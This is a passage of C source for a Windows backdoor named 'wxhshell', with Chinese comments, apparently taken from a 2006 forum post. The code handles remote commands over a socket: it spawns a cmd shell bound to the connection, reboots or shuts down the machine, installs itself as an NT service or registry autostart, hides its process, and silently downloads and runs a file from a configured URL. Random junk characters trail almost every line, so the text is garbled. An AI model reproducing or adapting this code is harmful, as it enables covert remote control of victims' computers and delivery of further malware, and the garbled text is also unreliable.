      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KIus/S5 RC  
    break; (S9f/i ^  
  } |g_g8[@`}  
  // 安装 ja T$gAx  
  case 'i': { E1*QdCV2  
    if(Install()) nk@atK,38^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n=!uNu7  
    else /QxlGfNZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r88"#C6E'  
    break; .C!vr@@]  
    } f j<H6|3  
  // 卸载 VmvQvQ/9R  
  case 'r': { 3V;gW%>  
    if(Uninstall()) t;O1IMF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/uy>*  
    else 8r:M*25  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \b8\Ug~t  
    break;  .i/m  
    } ht6244:  
  // 显示 wxhshell 所在路径 vg\/DbI'  
  case 'p': { `_qK&&s  
    char svExeFile[MAX_PATH]; wAF,H8 -DK  
    strcpy(svExeFile,"\n\r"); jRQ+2@n{E  
      strcat(svExeFile,ExeFile); mTf<  
        send(wsh,svExeFile,strlen(svExeFile),0); Tls a%pn  
    break; A Y9 9!p  
    } f )NHM'  
  // 重启 Pe ~c  
  case 'b': { 1ThqqB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X6@wkrf-  
    if(Boot(REBOOT)) !G?gsW0\h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I.V:q!4*  
    else { :b /J\  
    closesocket(wsh); gv.6h{Ut  
    ExitThread(0); ;O=h$8]  
    } ,sQ93(Vo  
    break; Lp&k3?W  
    } :qj<p3w~}  
  // 关机 q,l)I+  
  case 'd': { Uems\I0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sqO< J$tz  
    if(Boot(SHUTDOWN)) f =s&n}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &m'kI  
    else { ")UwkF  
    closesocket(wsh); ~[W#/kd1n  
    ExitThread(0); s"~5']8  
    } P LR0#).n  
    break; &|o$=Ad  
    } *l+Cl%e  
  // 获取shell wpo1  
  case 's': { ^k/i-%k0  
    CmdShell(wsh); Op}ZB:  
    closesocket(wsh); GDhM<bVqM*  
    ExitThread(0); U@-2Q=  
    break; J"CJYuGW,  
  } <"tDAx  
  // 退出 WlVl[/qt  
  case 'x': { pGGmA;TC1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?S[Y:<R{:  
    CloseIt(wsh); QU5Sy oL[  
    break; >fs2kha  
    } iEHh{H(  
  // 离开 f~h~5  
  case 'q': { Y`ihi,s`H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "v]%3i.* -  
    closesocket(wsh); D$r Uid  
    WSACleanup(); l54 m22pfv  
    exit(1); vNDu9ovs-  
    break; 3Qn!y\#  
        } mY-hN|  
  } /yPXMJ6W~R  
  } 7{M>!} rY  
` E`HVZ}  
  // 提示信息 D4Nu8Wr$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e x?v `9  
} $P {K2"Oc  
  } ]\c,BWC@e  
\vbk#G hH  
  return; F:g=i}7  
} c:4P%({  
_eQ-`?  
// shell模块句柄 HZjf`eM,  
int CmdShell(SOCKET sock) S\ ,mR4:  
{ 4_=Ja2v8;`  
STARTUPINFO si; nWYCh7  
ZeroMemory(&si,sizeof(si)); %JL]; 4'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KtN&,C )lJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jgu*Y{ocm  
PROCESS_INFORMATION ProcessInfo; -"TR\/  
char cmdline[]="cmd"; pV\YG B+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LBlN2)\@  
  return 0; dF@)M  
} +}kgQ^  
k2^a$k}  
// 自身启动模式 j;nb?;  
int StartFromService(void) ;`j/D@H  
{ X@wm1{!  
typedef struct ig#r4nQ=  
{ O l@_(U  
  DWORD ExitStatus; E5GJi  
  DWORD PebBaseAddress; ZCui Fm  
  DWORD AffinityMask; DDd/DAkCX  
  DWORD BasePriority; })F*:9i*  
  ULONG UniqueProcessId; 1=VJ&D;  
  ULONG InheritedFromUniqueProcessId; VD7i52xS  
}   PROCESS_BASIC_INFORMATION; 1 Y/$,Oa5  
U.oksD9 v  
PROCNTQSIP NtQueryInformationProcess; 0D&>Gyc*0  
fw-\|fP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iLX_T]1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eEw.'B  
Mt>oI SN&d  
  HANDLE             hProcess; dJuD|9R  
  PROCESS_BASIC_INFORMATION pbi; JAb6zpP  
hf<J \   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QfpuZEUK  
  if(NULL == hInst ) return 0; Hh[Tw&J4  
]!"S+gT*C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =t0tK}Y+4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7(k^a)~PL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sfD5!Z9#1  
m@G i6   
  if (!NtQueryInformationProcess) return 0; <^R{U&Z@  
D{7w!z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qst$S}n  
  if(!hProcess) return 0; oF:v JDSS  
X]j)+DX>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A#@_V'a8  
Ub$n |xn  
  CloseHandle(hProcess); ,J =P,](  
hwnJE958L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YlK7;yrq(  
if(hProcess==NULL) return 0; ]7GlO9  
 #@.-B,]  
HMODULE hMod; !X^Ce)1K  
char procName[255]; qa'gM@]  
unsigned long cbNeeded; PR7f(NC  
>4i>C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1} m3 ;  
IVvtX}  
  CloseHandle(hProcess); y0bq;(~X~  
$K}DB N; 4  
if(strstr(procName,"services")) return 1; // 以服务启动 DT(d@upH  
" {de k  
  return 0; // 注册表启动 #CUz uk&  
} QV|>4^1D  
1+kE!2b;b  
// 主模块 mqtg[~dNc  
int StartWxhshell(LPSTR lpCmdLine) s}5+3f$f  
{ uXZg1 F)  
  SOCKET wsl; [3/VCYje  
BOOL val=TRUE; ]wn/BG)  
  int port=0; N;sm*+r  
  struct sockaddr_in door; dbdM"z 4  
W#F Q,+0)  
  if(wscfg.ws_autoins) Install(); w`HI]{hE~N  
P87# CAN  
port=atoi(lpCmdLine); )q~DTR^z-  
C}}/)BYi  
if(port<=0) port=wscfg.ws_port; k%'m*Tf  
3\$wdUFr  
  WSADATA data; 2B1xUj ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yJx?M  
VU.@R,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @J 'YV{]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +=$  
  door.sin_family = AF_INET; c@(&[/q!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qi[Z,&  
  door.sin_port = htons(port); .i"W8~<e  
Qt>>$3]!!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?V(^YFzZ  
closesocket(wsl); 9/o vKpY  
return 1; R3.*dqo$  
} `8_z!)  
TYns~X_PR  
  if(listen(wsl,2) == INVALID_SOCKET) { 0$.m_0H  
closesocket(wsl); dE`-\J  
return 1; N5U)*U'-u  
} R*pC.QiB~  
  Wxhshell(wsl); QfjN"25_  
  WSACleanup(); H U+ I  
W !}{$  
return 0; B~o-l*  
!p"aAZT7sq  
} m6mwyom.  
~g;   
// 以NT服务方式启动 {MdLX.ycc)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k0z&v <  
{ !BIOY!M  
DWORD   status = 0; Vy<HA*  
  DWORD   specificError = 0xfffffff; xG2F!WeF  
'_P\#7$!MV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t ~7V { xk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XL}"1lE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *>8ce-PV  
  serviceStatus.dwWin32ExitCode     = 0; ZAKeEm2A  
  serviceStatus.dwServiceSpecificExitCode = 0; 6=hk=2]f  
  serviceStatus.dwCheckPoint       = 0; e 8\;t"D  
  serviceStatus.dwWaitHint       = 0; Rf-[svA  
.4y>QN#VL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4-GXmC  
  if (hServiceStatusHandle==0) return; bru/AZ#de  
(oz$B0HO:  
status = GetLastError(); lK7m=[ j  
  if (status!=NO_ERROR) ow'Vz Ay-  
{ Mj=$y?d ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 24c ek  
    serviceStatus.dwCheckPoint       = 0; Ey[On^$  
    serviceStatus.dwWaitHint       = 0; F/d7q%I  
    serviceStatus.dwWin32ExitCode     = status; ~V=<3X  
    serviceStatus.dwServiceSpecificExitCode = specificError; q% >'4_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t(!r8!c u}  
    return; K4Dp:2/K%  
  } |]=2 }%1w  
Q _iO(qu 6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ti5HrKIw  
  serviceStatus.dwCheckPoint       = 0; F^$led1/F  
  serviceStatus.dwWaitHint       = 0; MxQ?Sb%Gka  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [4&#*@  
} eW'2AT?2H%  
B?rSjdY4  
// 处理NT服务事件,比如:启动、停止 bizTd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #V02hs1  
{ d%@~mcH>  
switch(fdwControl) 1nknSw#  
{ {:nQl}  
case SERVICE_CONTROL_STOP: ,|?CU r9Y  
  serviceStatus.dwWin32ExitCode = 0; ]q5`YB%_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3uu~p!2  
  serviceStatus.dwCheckPoint   = 0; <bck~E  
  serviceStatus.dwWaitHint     = 0; &QX`NO 6  
  { e?0q9W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L)QE`24  
  } S8Fmy1#  
  return; /c2 'dJ(H  
case SERVICE_CONTROL_PAUSE:  =SOe}!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #zUXyT#X  
  break; F1%vtk;2?  
case SERVICE_CONTROL_CONTINUE: %6%<?jZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -D^A:}$  
  break; )3<:tV8   
case SERVICE_CONTROL_INTERROGATE: o_M.EZO  
  break; _Us*+ 2(4L  
}; A=zPL q{Sb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )}%O>%  
} wXjFLg!g?  
^E`(*J/o  
// 标准应用程序主函数 fQK"h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /2M.~3gQ  
{ rx"s!y{!-  
RR;AJ8wd  
// 获取操作系统版本 `i +g{kE2M  
OsIsNt=GetOsVer(); ysIh[1E~%:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s^OO^%b  
q@5K6yE  
  // 从命令行安装 :q<Z'EnW  
  if(strpbrk(lpCmdLine,"iI")) Install(); sd#|3  
3ss6_xd+  
  // 下载执行文件 ^\:8w0Y^  
if(wscfg.ws_downexe) { "& Dx=Yf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q_W0/Ki8  
  WinExec(wscfg.ws_filenam,SW_HIDE); l&YKD,H};  
} _lKZmhi  
R #]jSiS  
if(!OsIsNt) { D<i[LZd  
// 如果时win9x,隐藏进程并且设置为注册表启动 i|)Su4Dw  
HideProc(); 6&Juv  
StartWxhshell(lpCmdLine); 5m:i6,4  
} L(>=BK*  
else g @I6$Z  
  if(StartFromService()) dUznxZB  
  // 以服务方式启动 V}o n|A  
  StartServiceCtrlDispatcher(DispatchTable); 39F O f  
else M~*u;vA/  
  // 普通方式启动 |IoB?^_h  
  StartWxhshell(lpCmdLine); juF{}J2  
|]Z:&[D]i  
return 0; D'l5Zd  
}
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只看该作者 1 发表于: 2006-10-10
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